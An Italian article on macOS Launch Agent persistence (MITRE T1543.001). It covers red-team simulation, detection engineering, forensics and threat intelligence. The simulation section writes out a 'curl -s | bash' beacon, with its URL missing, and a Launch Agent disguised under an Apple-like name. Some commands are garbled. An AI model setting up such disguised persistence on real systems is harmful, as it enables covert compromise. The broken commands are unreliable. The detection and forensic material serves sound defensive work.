Persistenza via Launch Agent: Create or Modify System Process – Launch Agent (T1543.001)

La simulazione di un Launch Agent malevolo è una delle verifiche più dirette che un red teamer può eseguire su un target macOS. L'obiettivo è dimostrare che un attaccante con privilegi utente standard può ottenere persistenza senza toccare directory di sistema protette da SIP (System Integrity Protection).

Il primo passo è creare un payload minimale. Un semplice script bash è sufficiente per il proof of concept:

mkdir -p ~/Library/LaunchAgents

echo '#!/bin/bash' > /tmp/beacon.sh && echo 'curl -s | bash' >> /tmp/beacon.sh && chmod +x /tmp/beacon.sh

Ora si genera il file .plist che registra il Launch Agent. La chiave RunAtLoad garantisce l'esecuzione al login, mentre KeepAlive assicura il riavvio automatico se il processo muore:

cat > ~/Library/LaunchAgents/com.apple.softwarehelper.plist << 'EOF' Labelcom.apple.softwarehelper ProgramArguments/tmp/beacon.sh RunAtLoad KeepAlive EOF

Il caricamento manuale avviene con launchctl:

launchctl load ~/Library/LaunchAgents/com.apple.softwarehelper.plist

Per verificare che il Launch Agent sia effettivamente registrato:

launchctl list | grep softwarehelper

Questo restituirà il PID associato e lo stato. Durante l'engagement, variare i nomi .plist imitando software legittimo è essenziale per testare la capacità di detection del blue team — tecnica che il malware Green Lambert impiega con com.apple.GrowlHelper.plist.

Per chi utilizza framework di red teaming, Mythic (open source) con l'agent Apfell/Poseidon offre un modulo specifico per la creazione di Launch Agent, gestendo automaticamente la generazione del .plist e il caricamento via launchctl. In alternativa, Sliver (open source) consente di eseguire comandi shell arbitrari sulla sessione macOS per replicare la procedura manuale.

Al termine del test, la pulizia è obbligatoria:

launchctl unload ~/Library/LaunchAgents/com.apple.softwarehelper.plist rm ~/Library/LaunchAgents/com.apple.softwarehelper.plist /tmp/beacon.sh

Un punto spesso trascurato: verificare anche la directory /Library/LaunchAgents (system-wide, richiede privilegi amministrativi). Se il target ha utenti con diritti di admin, un attaccante può depositare un plist in questa directory e ottenere esecuzione per qualsiasi utente che faccia login — lo scenario esatto utilizzato da Contagious Interview e da OSX_OCEANLOTUS.D.

Il detection engineering su macOS per i Launch Agent ruota attorno a tre pilastri: monitoraggio del file system, analisi dei plist e correlazione con l'esecuzione binaria. La detection documentata (DET0434 / AN1208) fornisce già un'ottima base operativa.

La sorgente log primaria è il Unified Log di macOS, che cattura gli eventi di launchd. Affiancarlo con osquery (open source) permette query strutturate sullo stato dei Launch Agent. La query fondamentale è:

SELECT * FROM launchd WHERE path LIKE '%/LaunchAgents/%' AND run_at_load = 'true';

Questa restituisce tutti i Launch Agent con esecuzione automatica. Schedulandola ogni 5-10 minuti tramite osquery daemon, si ottiene un inventario dinamico confrontabile con una baseline nota.

Il secondo livello è il monitoraggio delle scritture nelle directory critiche. Su macOS, Endpoint Security Framework (nativo, disponibile da macOS 10.15+) espone eventi di tipo ES_EVENT_TYPE_NOTIFY_CREATE e ES_EVENT_TYPE_NOTIFY_WRITE filtrabili per path. Tool come Santa (open source, sviluppato da Google) operano a questo livello per consentire o bloccare esecuzioni binarie, ma per la detection pura dei file drop è necessario un EDR compatibile macOS oppure una soluzione dedicata come BlockBlock (gratuito, Objective-See) che notifica in tempo reale quando un componente di persistenza viene installato.

Per il tuning dei falsi positivi — il vero problema operativo — i parametri chiave da configurare sono:

• PlistDirectoryList: monitorare /Library/LaunchAgents e ~/Library/LaunchAgents (escludere /System/Library/LaunchAgents se SIP è attivo, poiché non scrivibile)
• ExecutablePathPattern: alert ad alta priorità se il ProgramArguments punta a path sospetti come /tmp, /var/tmp, /Users/Shared o sottodirectory nascoste della home
• UnsignedBinaryAlert: verificare la firma del binario referenziato nel plist tramite codesign -vvv ; un binario non firmato in un Launch Agent è quasi sempre anomalo
• PlistKeyMonitor: oltre a RunAtLoad e KeepAlive, monitorare LimitLoadToSessionType con valore Aqua — pattern usato da MacMa per attivarsi solo in sessioni GUI

La correlazione con launchctl è il terzo pilastro. Ogni invocazione di launchctl load o launchctl bootstrap dovrebbe generare un evento correlabile con il file .plist scritto. Se il delta temporale tra scrittura del plist e caricamento via launchctl è inferiore a pochi secondi, la probabilità di automazione malevola è elevata.

Un'attenzione particolare va riservata ai nomi che imitano servizi Apple legittimi: pattern come com.apple.* generati da processi non-Apple sono un indicatore forte. Il malware Komplex usa com.apple.updates, MacMa usa com.apple.softwareupdate, Green Lambert usa com.apple.GrowlHelper. Una regola che confronta il campo Label del plist con un elenco di Label Apple autentici riduce drasticamente il rumore.

L'analisi forense di un Launch Agent malevolo su macOS richiede l'esame sistematico di artefatti su file system, log di sistema e metadati estesi. Il punto di partenza è sempre l'enumerazione dei file .plist nelle tre directory target.

Il comando più immediato per l'acquisizione è:

find /Library/LaunchAgents ~/Library/LaunchAgents /System/Library/LaunchAgents -name ".plist" -exec stat -f "%m %N" {} ; | sort -n*

Questo produce una lista ordinata per timestamp di modifica, evidenziando immediatamente i file più recenti. Ogni file .plist va poi analizzato nel contenuto con plutil -p <file.plist> per estrarre in formato leggibile le chiavi Label, ProgramArguments, RunAtLoad e KeepAlive.

I metadati estesi (extended attributes) sono un artefatto spesso decisivo. macOS assegna l'attributo com.apple.quarantine ai file scaricati da Internet. Verificarlo con xattr -l <file.plist> può rivelare l'origine del file — browser, client di posta o applicazione di download. Se l'attributo è assente su un plist sospetto, l'attaccante potrebbe averlo rimosso intenzionalmente con xattr -d, un'azione che merita investigazione separata.

Per la ricostruzione della timeline, il Unified Log di macOS è la fonte più ricca. Il comando:

log show --predicate 'subsystem == "com.apple.xpc.launchd"' --info --start "2024-01-01"

filtra tutti gli eventi launchd, mostrando caricamento, scaricamento e fallimenti dei Launch Agent con timestamp precisi al microsecondo. Incrociando questi dati con i timestamp di creazione dei file .plist (ricavabili da stat o dal journal APFS) si ricostruisce la sequenza: deposito del file → caricamento via launchctl → prima esecuzione del payload.

Il file system APFS mantiene anche i timestamp di nascita del file (birth time), accessibili con stat -f "%B" , che a differenza del modification time non vengono alterati da operazioni di copia semplice.

Per i casi che coinvolgono malware noti, gli artefatti specifici guidano la ricerca. ThiefQuest deposita il binario persistente in ~/Library/ e il plist in ~/Library/LaunchAgents/ usando un template cifrato — la presenza di un binario nella root della directory Library utente è di per sé anomala. Dok genera nomi casuali nel formato com.random.name.plist, quindi una ricerca per naming convention non standard è efficace. CoinTicker installa due Launch Agent separati — .espl.plist e com.apple.[stringa casuale].plist — segnale di un'operazione multi-stage.

L'ultimo passaggio è verificare il binario referenziato nel ProgramArguments: hash SHA-256 tramite shasum -a 256 , verifica firma con codesign -dvvv , e confronto dell'hash su piattaforme di threat intelligence come VirusTotal. Per InvisibleFerret — il malware di Contagious Interview — il plist com.avatar.update.wake.plist punta a uno script che merita analisi statica completa per estrarre gli indicatori di rete del C2.

Il panorama threat intelligence per T1543.001 rivela un ecosistema dominato da malware commodity e tool specializzati per macOS, con un solo gruppo APT formalmente attribuito ma un volume significativo di famiglie malware che suggerisce un interesse trasversale verso la piattaforma Apple.

Contagious Interview è l'unico gruppo documentato. Opera attraverso il malware InvisibleFerret, che crea il Launch Agent com.avatar.update.wake.plist per garantire l'esecuzione allo startup. Il gruppo utilizza anche file plist in /Library/LaunchAgents per abilitare script bash malevoli, indicando una doppia strategia: persistenza utente-specifica tramite ~/Library/LaunchAgents e persistenza system-wide tramite /Library/LaunchAgents. Questa dualità suggerisce che l'operatore adatta il livello di persistenza ai privilegi ottenuti nella fase iniziale dell'intrusione.

L'analisi delle 20 famiglie software associate a questa tecnica rivela pattern operativi interessanti. Si possono raggruppare in tre categorie funzionali:

• RAT e backdoor a lungo termine: Komplex, NETWIRE, Proton, CrossRAT, Green Lambert, Dacls, MacMa, OSX_OCEANLOTUS.D — progettati per accesso persistente e ricognizione
• Stealer e spyware: Calisto, MacSpy, Keydnap, FruitFly, Dok, Cuckoo Stealer — focalizzati sull'esfiltrazione di credenziali e dati
• Cryptominer e adware: CookieMiner, CoinTicker, Bundlore, ThiefQuest, macOS.OSAMiner — orientati a monetizzazione diretta

Il pattern di naming dei plist è un indicatore di sofisticazione operativa. I gruppi più avanzati adottano nomi che imitano servizi Apple legittimi: MacMa con com.apple.softwareupdate, Komplex con com.apple.updates, Green Lambert con com.apple.GrowlHelper. Le operazioni meno sofisticate usano nomi generici o casuali, come il formato com.random.name.plist di Dok.

Un dato rilevante per il threat modeling riguarda OSX_OCEANLOTUS.D, associato storicamente a operazioni di spionaggio nel Sud-Est asiatico, e Green Lambert, legato a operazioni di intelligence di alto livello. La presenza di questi malware nella stessa categoria tecnica di tool commodity come Bundlore o CoinTicker sottolinea che il Launch Agent è una tecnica trasversale, adottata sia da APT con risorse significative sia da operazioni criminali opportunistiche.

Per il threat modeling difensivo, la raccomandazione è trattare qualsiasi creazione non autorizzata di Launch Agent come indicatore ad alta priorità, indipendentemente dal livello di sofisticazione apparente: anche un cryptominer apparentemente "banale" potrebbe essere il primo stadio di un'intrusione più complessa.

Framework MITRE ATT&CK v16: tecnica T1543.001 (Create or Modify System Process: Launch Agent), tattiche TA0003, TA0004; gruppo G1052; software S1245, S0274, S0279, S0282, S0235, S0281, S0497, S1016, S0352, S0482, S0595, S1048, S0369, S0690, S1153, S0492, S0277, S0162, S0198, S0276; mitigazione M1022; detection DET0434/AN1208. Integrato con conoscenza professionale per tool e procedure operative.